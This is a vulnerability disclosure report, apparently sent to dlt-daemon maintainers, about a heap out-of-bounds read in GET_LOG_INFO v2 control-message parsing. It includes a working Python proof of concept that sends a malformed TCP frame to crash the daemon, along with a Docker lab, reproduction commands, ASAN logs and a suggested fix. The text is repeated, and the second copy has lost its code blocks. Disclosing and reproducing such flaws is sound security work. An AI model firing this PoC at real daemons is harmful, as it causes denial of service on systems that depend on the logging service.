Summary
dlt-daemon control handler dlt_daemon_control_get_log_info_v2() validates only a fixed minimum request size, then trusts attacker-controlled variable lengths (apidlen, ctidlen) while advancing offsets.
A forged DLT control message with an oversized apidlen triggers a heap-based out-of-bounds read (ASAN: heap-buffer-overflow).
In local reproduction, AddressSanitizer reported heap-buffer-overflow in dlt_daemon_control_get_log_info_v2 (dlt_daemon_client.c:2156) and daemon abort, resulting in DoS.
Details
Affected component:
- package:
dlt-daemon
- component: control message processing (
GET_LOG_INFO v2)
- files:
src/daemon/dlt_daemon_client.c
src/shared/dlt_common.c
- tested repository revision:
c45bdbe8c45b708955520d63dede1df3c8b5afb7
- validation date for tested revision:
2026-03-05
Root cause:
- Code checks only
DLT_SERVICE_GET_LOG_INFO_REQUEST_FIXED_SIZE_V2 minimum size.
req->apidlen is read from attacker data and used to move db_offset.
- Subsequent
memcpy for ctidlen/ctid can read beyond allocated message buffer when apidlen is oversized, causing a heap-based out-of-bounds read (ASAN: heap-buffer-overflow).
Attack Preconditions
- Target daemon is running in DLT v2 mode (
-x 2).
- The attacker can send TCP control messages to the daemon endpoint (default test setup:
127.0.0.1:3490).
- Network policy allows traffic to that endpoint.
- No effective pre-validation/authentication blocks malformed v2 control payloads.
- If the TCP listener is exposed beyond localhost, remote network attackers can trigger DoS.
Vulnerable Code (Exact Code Snippet)
Path: src/daemon/dlt_daemon_client.c:2133
if (dlt_check_rcv_data_size(msg->datasize, DLT_SERVICE_GET_LOG_INFO_REQUEST_FIXED_SIZE_V2) < 0)
return;
...
memcpy(&(req->apidlen), msg->databuffer + db_offset, sizeof(uint8_t));
db_offset = db_offset + (int)sizeof(uint8_t);
dlt_set_id_v2(req->apid, (const char *)(msg->databuffer + db_offset), req->apidlen);
db_offset = db_offset + (int)req->apidlen;
memcpy(&(req->ctidlen), (const char *)(msg->databuffer + db_offset), sizeof(uint8_t));
db_offset = db_offset + (int)sizeof(uint8_t);
dlt_set_id_v2(req->ctid, (const char *)(msg->databuffer + db_offset), req->ctidlen);
db_offset = db_offset + (int)req->ctidlen;
memcpy((req->com), (const char *)(msg->databuffer + db_offset), DLT_ID_SIZE);
Full PoC Code
#!/usr/bin/env python3
import os
import socket
import struct
import time
HOST = os.environ.get("DLT_HOST", "127.0.0.1")
PORT = int(os.environ.get("DLT_PORT", "3490"))
DLT_SERVICE_ID_GET_LOG_INFO = 0x03
DLT_MSIN_CONTROL_REQUEST = 0x16
HTYP2 = 0x40 | 0x02 | 0x04 | 0x08 # protocol v2 + control + WEID + WACID
def build_control_frame(payload: bytes, apid: bytes = b"APP", ctid: bytes = b"CON", ecid: bytes = b"ECU1") -> bytes:
ext = bytes([len(ecid)]) + ecid + bytes([len(apid)]) + apid + bytes([len(ctid)]) + ctid
extra = bytes([DLT_MSIN_CONTROL_REQUEST, 1])
total_len = 7 + len(extra) + len(ext) + len(payload)
base = struct.pack("<IBH", HTYP2, 0, total_len)
return base + extra + ext + payload
def main() -> int:
# Keep payload at fixed minimum size (11 bytes) but set apidlen to large value.
# Parser advances by apidlen without bounds checks, then reads out-of-bounds.
payload = struct.pack("<I", DLT_SERVICE_ID_GET_LOG_INFO)
payload += b"\x03" # options=3 (valid range is 3..7)
payload += b"\xc8" # apidlen=200 (malformed for 11-byte payload)
payload += b"\x00" * 5 # pad to fixed-size minimum
frame = build_control_frame(payload)
with socket.create_connection((HOST, PORT), timeout=3) as s:
s.settimeout(1.0)
s.sendall(frame)
# Keep connection open briefly so daemon can parse and process request.
try:
s.recv(4096)
except Exception:
pass
time.sleep(1.0)
print(f"[*] Sent malformed GET_LOG_INFO_V2 ({len(frame)} bytes) to {HOST}:{PORT}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Reproduction Docker Image (Full Dockerfile)
FROM debian:bookworm-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
cmake \
pkg-config \
python3 \
ca-certificates \
libasan8 \
libubsan1 \
libstdc++6 \
libgcc-s1 \
netcat-openbsd \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /src
COPY . /src
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INSTALL_PREFIX=/opt/dlt \
-DDLT_IPC=UNIX_SOCKET \
-DDLT_USER_IPC_PATH=/ipc \
-DWITH_DLT_DEBUGGERS=OFF \
-DWITH_DLT_SYSTEM=OFF \
-DWITH_DLT_TESTS=ON \
-DWITH_DLT_USE_IPv6=OFF \
-DWITH_EXTENDED_FILTERING=OFF \
-DWITH_SYSTEMD=OFF \
-DWITH_SYSTEMD_WATCHDOG=OFF \
-DWITH_SYSTEMD_JOURNAL=OFF \
-DCMAKE_C_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_CXX_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
&& cmake --build build -j"$(nproc)" \
&& cmake --install build
WORKDIR /opt/lab
COPY security-lab/lab /opt/lab
ENV ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:halt_on_error=1
ENV UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
CMD ["/bin/bash"]
Reproduction Steps
Prerequisite:
- Parent directory of
security-lab is the cloned dlt-daemon source root (contains CMakeLists.txt).
- Build the lab image.
# current directory: security-lab (attachment root)
docker compose -f docker-compose.yml build dlt-lab
- Run isolated V3 reproduction.
docker compose -f docker-compose.yml run --rm dlt-lab bash -lc '
set -euo pipefail
rm -f /ipc/dlt /ipc/dlt-ctrl.sock /tmp/dlt-ctrl.sock
/opt/lab/run-daemon.sh >/opt/lab/artifacts/V3.daemon.log 2>&1 &
pid=$!
ready=0
for i in $(seq 1 120); do
if ! kill -0 "$pid" 2>/dev/null; then break; fi
if [[ -S /ipc/dlt ]] && nc -z 127.0.0.1 3490 >/dev/null 2>&1; then
ready=1
break
fi
sleep 0.1
done
if [[ "$ready" -ne 1 ]]; then
echo "[!] daemon did not reach ready state" >&2
wait "$pid" 2>/dev/null || true
exit 2
fi
python3 /opt/lab/pocs/poc_malformed_get_log_info_v2.py >/opt/lab/artifacts/V3.poc.log 2>&1 || true
sleep 1
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
'
- Confirm ASAN
heap-buffer-overflow signature.
grep -E "heap-buffer-overflow|dlt_daemon_control_get_log_info_v2|dlt_message_read_v2|ABORTING" \
artifacts/V3.daemon.log
Trigger Success Evidence (Logs)
PoC send log:
Path: artifacts/V3.poc.log
[*] Sent malformed GET_LOG_INFO_V2 (33 bytes) to 127.0.0.1:3490
Runtime evidence:
Path: artifacts/V3.daemon.log
==147==ERROR: AddressSanitizer: heap-buffer-overflow ...
#0 ... in dlt_daemon_control_get_log_info_v2 /src/src/daemon/dlt_daemon_client.c:2156
#1 ... in dlt_daemon_client_process_control_v2 /src/src/daemon/dlt_daemon_client.c:1283
allocated by ... dlt_message_read_v2 /src/src/shared/dlt_common.c:2046
==147==ABORTING
Impact
- Vulnerability class: heap-based out-of-bounds read (ASAN:
heap-buffer-overflow).
- Practical impact: daemon crash (DoS) via malformed network control message.
- Additional risk: undefined behavior from invalid memory access paths.
Suggested Fix
- Validate dynamic offsets (
db_offset) before every read/copy operation.
- Enforce
db_offset + field_size <= msg->datasize for all variable-length fields.
- Reject requests with inconsistent
apidlen/ctidlen combinations.
- Add regression tests for malformed
GET_LOG_INFO v2 payloads.
END
Thanks.
This may be a minor vulnerability, but I decided to report it because it could potentially be exploited by more skilled attackers in the future.
If the issue is confirmed to be a valid vulnerability, could you let me know whether a CVE will be assigned?
If not, would it be acceptable for me to request a CVE from MITRE?
Attachment
security-lab.zip
Summary
dlt-daemoncontrol handlerdlt_daemon_control_get_log_info_v2()validates only a fixed minimum request size, then trusts attacker-controlled variable lengths (apidlen,ctidlen) while advancing offsets.A forged DLT control message with an oversized
apidlentriggers a heap-based out-of-bounds read (ASAN:heap-buffer-overflow).In local reproduction, AddressSanitizer reported
heap-buffer-overflowindlt_daemon_control_get_log_info_v2(dlt_daemon_client.c:2156) and daemon abort, resulting in DoS.Details
Affected component:
dlt-daemonGET_LOG_INFOv2)src/daemon/dlt_daemon_client.csrc/shared/dlt_common.cc45bdbe8c45b708955520d63dede1df3c8b5afb72026-03-05Root cause:
DLT_SERVICE_GET_LOG_INFO_REQUEST_FIXED_SIZE_V2minimum size.req->apidlenis read from attacker data and used to movedb_offset.memcpyforctidlen/ctidcan read beyond allocated message buffer whenapidlenis oversized, causing a heap-based out-of-bounds read (ASAN:heap-buffer-overflow).Attack Preconditions
-x 2).127.0.0.1:3490).Vulnerable Code (Exact Code Snippet)
Path:
src/daemon/dlt_daemon_client.c:2133Full PoC Code
Reproduction Docker Image (Full Dockerfile)
Reproduction Steps
Prerequisite:
security-labis the cloneddlt-daemonsource root (containsCMakeLists.txt).# current directory: security-lab (attachment root) docker compose -f docker-compose.yml build dlt-labheap-buffer-overflowsignature.grep -E "heap-buffer-overflow|dlt_daemon_control_get_log_info_v2|dlt_message_read_v2|ABORTING" \ artifacts/V3.daemon.logTrigger Success Evidence (Logs)
PoC send log:
Path:
artifacts/V3.poc.logRuntime evidence:
Path:
artifacts/V3.daemon.logImpact
heap-buffer-overflow).Suggested Fix
db_offset) before every read/copy operation.db_offset + field_size <= msg->datasizefor all variable-length fields.apidlen/ctidlencombinations.GET_LOG_INFOv2 payloads.END
Thanks.
This may be a minor vulnerability, but I decided to report it because it could potentially be exploited by more skilled attackers in the future.
If the issue is confirmed to be a valid vulnerability, could you let me know whether a CVE will be assigned?
If not, would it be acceptable for me to request a CVE from MITRE?
Attachment
security-lab.zip